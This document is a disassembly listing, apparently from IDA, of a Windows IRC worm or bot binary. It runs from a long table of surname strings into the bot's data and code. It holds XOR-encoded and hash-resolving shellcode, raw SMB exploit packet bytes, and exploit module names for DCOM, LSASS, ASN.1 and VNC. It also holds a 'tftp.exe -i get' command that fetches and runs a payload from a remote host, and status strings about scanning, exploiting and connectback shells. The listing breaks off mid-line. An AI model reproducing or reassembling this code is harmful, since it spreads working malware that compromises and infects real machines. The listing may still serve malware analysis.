aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB58o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB54o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB50o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB4Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB48o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB44o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB40o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB3Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB38o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB34o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB30o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB2Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB28o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB24o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB20o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB1Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB18o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB14o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB10o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DB0Co align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DB08o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DB04o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DB00o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAFCo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAF8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAF4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAF0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DAECo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAE8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAE4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAE0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DADCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAD8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAD4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAD0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DACCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAC8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAC4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAC0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DABCo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAB8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAB4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAB0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DAACo aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DAA8o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DAA4o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DAA0o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA9Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA98o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA94o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA90o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA8Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA88o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA84o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA80o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA7Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA78o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA74o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA70o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA6Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA68o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA64o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA60o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA5Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA58o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA54o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA50o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA4Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA48o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA44o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA40o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA3Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA38o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA34o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA30o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA2Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA28o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA24o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA20o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA1Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA18o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA14o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA10o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DA0Co align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DA08o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042DA04o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DA00o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9FCo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9F8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9F4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9F0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9ECo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9E8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9E4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9E0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9DCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9D8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9D4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9D0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9CCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9C8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9C4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9C0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9BCo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9B8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9B4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9B0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D9ACo align 4 byte_431604 db 50h ; DATA XREF: ___:0040ABE6o ; ___:0040ABF3r db 43h, 2 dup(0) dword_431608 dd 7C7325h ; DATA XREF: ___:0040AC91o dword_43160C dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo dword_431614 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431618 dd 334B32h ; DATA XREF: ___:0040AD8Bo dword_43161C dd 5058h ; DATA XREF: ___:0040AD7Do ; ___:0040AF89o ... dword_431620 dd 4B32h ; DATA XREF: ___:0040AD6Do ; ___:0040AF79o ... dword_431624 dd 454Dh ; DATA XREF: ___:0040AD54o ; ___:0040AF60o ... dword_431628 dd 3839h ; DATA XREF: ___:0040AD44o ; ___:0040AF50o ... dword_43162C dd 544Eh ; DATA XREF: ___:0040AD34o ; ___:0040AF41o ... dword_431630 dd 3539h ; DATA XREF: ___:0040AD26o ; ___:0040AF33o ... dword_431634 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao off_43163C dd offset asc_5D4D5B ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o ; "ллллллллллллллллллллллллллллллллллллллл"... aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o ; sub_41ADD8+52o off_43166C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o dword_431670 dd 345053h ; DATA XREF: ___:0040B02Do dword_431674 dd 34h ; DATA XREF: ___:0040B021o dword_431678 dd 335053h ; DATA XREF: ___:0040B014o dword_43167C dd 33h ; DATA XREF: ___:0040B003o dword_431680 dd 325053h ; DATA XREF: ___:0040AFF6o dword_431684 dd 32h ; DATA XREF: ___:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431688 proc near ; DATA XREF: ___:0040AFD8o push ebx push eax xor [eax], eax sub_431688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43168C dd 305053h ; DATA XREF: ___:0040AFBAo dword_431690 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo dword_431694 dd 3332h ; DATA XREF: ___:0040AF97o ; --------------------------------------------------------------------------- loc_431698: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43169C ; --------------------------------------------------------------------------- loc_43169A: ; CODE XREF: ___:loc_43169Cp jmp short loc_4316A1 ; --------------------------------------------------------------------------- loc_43169C: ; CODE XREF: ___:loc_431698j call loc_43169A loc_4316A1: ; CODE XREF: ___:loc_43169Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_4316A6 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_4316AB db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316B0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316B4 ; --------------------------------------------------------------------------- loc_4316B2: ; CODE XREF: ___:loc_4316B4p jmp short loc_4316B9 ; --------------------------------------------------------------------------- loc_4316B4: ; CODE XREF: ___:loc_4316B0j call loc_4316B2 loc_4316B9: ; CODE XREF: ___:loc_4316B2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316BD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316C1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316C8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43172C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431745 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43174C retn ; --------------------------------------------------------------------------- byte_43174C db 0E8h ; CODE XREF: ___:00431749j dword_43174D dd 1 ; DATA XREF: sub_40B13C+45w byte_431751 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43175B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; ___:0040E229o ... align 4 dd 5 dup(0) dword_431808 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_43180C dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431810 dd 0 ; DATA XREF: sub_40B90E+2Eo ; ___:0040D759w ... dword_431814 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431818 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43181C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319EA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o aDcom135_0 db 'dcom135',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A16 ; =============== S U B R O U T I N E ======================================= sub_431A06 proc near ; CODE XREF: sub_431A06:loc_431A16p pop edx dec edx xor ecx, ecx mov cx, 166h loc_431A0E: ; CODE XREF: sub_431A06+Cj xor byte ptr [edx+ecx], 99h loop loc_431A0E jmp short loc_431A1B ; --------------------------------------------------------------------------- loc_431A16: ; CODE XREF: ___:00431A04j call sub_431A06 loc_431A1B: ; CODE XREF: sub_431A06+Ej jo short near ptr dword_4319A4+12h cwde cdq cdq retn sub_431A06 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B98 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431BA4 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BC4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431C0C db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C48 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C58 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C74 db 2Dh ; - ; DATA XREF: ___:0040BCD7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431CA8 db 2Dh ; - ; DATA XREF: ___:0040BBE5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CD8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CF8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D14 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D48 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D80 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DB0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DE4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E18 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E4C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E74 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431EAC db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EEC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F24 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F58 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431F8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C85F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432040 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432048 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43204C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432054 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_43210C dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432118 db 81h ; │ ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432164 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_4321A8 proc near ; DATA XREF: ___:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4322A4 push dword ptr [esi] push 63D61209h call sub_4322BA mov [esi+8], eax call sub_43226D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322BA mov [esi+0Ch], eax call sub_43221F push dword ptr [esi+4] push 4C0297FAh call sub_4322BA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4321A8 endp ; =============== S U B R O U T I N E ======================================= sub_43221F proc near ; CODE XREF: sub_4321A8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432248 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43221F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432248 proc near ; CODE XREF: sub_43221F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432257: ; CODE XREF: sub_432248+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432264 inc ebx jmp short loc_432257 ; --------------------------------------------------------------------------- loc_432264: ; CODE XREF: sub_432248+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432248 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43226D proc near ; CODE XREF: sub_4321A8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432285: ; CODE XREF: sub_43226D+1Ej cmp [ecx], ebx jz short loc_43228D mov ecx, [ecx] jmp short loc_432285 ; --------------------------------------------------------------------------- loc_43228D: ; CODE XREF: sub_43226D+1Aj mov edx, edi loc_43228F: ; CODE XREF: sub_43226D+2Aj cmp [edx+4], ebx jz short loc_432299 mov edx, [edx+4] jmp short loc_43228F ; --------------------------------------------------------------------------- loc_432299: ; CODE XREF: sub_43226D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43226D endp ; =============== S U B R O U T I N E ======================================= sub_4322A4 proc near ; CODE XREF: sub_4321A8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4322A4 endp ; =============== S U B R O U T I N E ======================================= sub_4322BA proc near ; CODE XREF: sub_4321A8+16p ; sub_4321A8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322D0: ; CODE XREF: sub_4322BA+33j jecxz short loc_43230A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322DD: ; CODE XREF: sub_4322BA+2Dj lodsb cmp al, ah jz short loc_4322E9 ror edi, 0Dh add edi, eax jmp short loc_4322DD ; --------------------------------------------------------------------------- loc_4322E9: ; CODE XREF: sub_4322BA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322D0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_43230A: ; CODE XREF: sub_4322BA:loc_4322D0j ; sub_4322BA:loc_43230Aj jmp short loc_43230A sub_4322BA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O 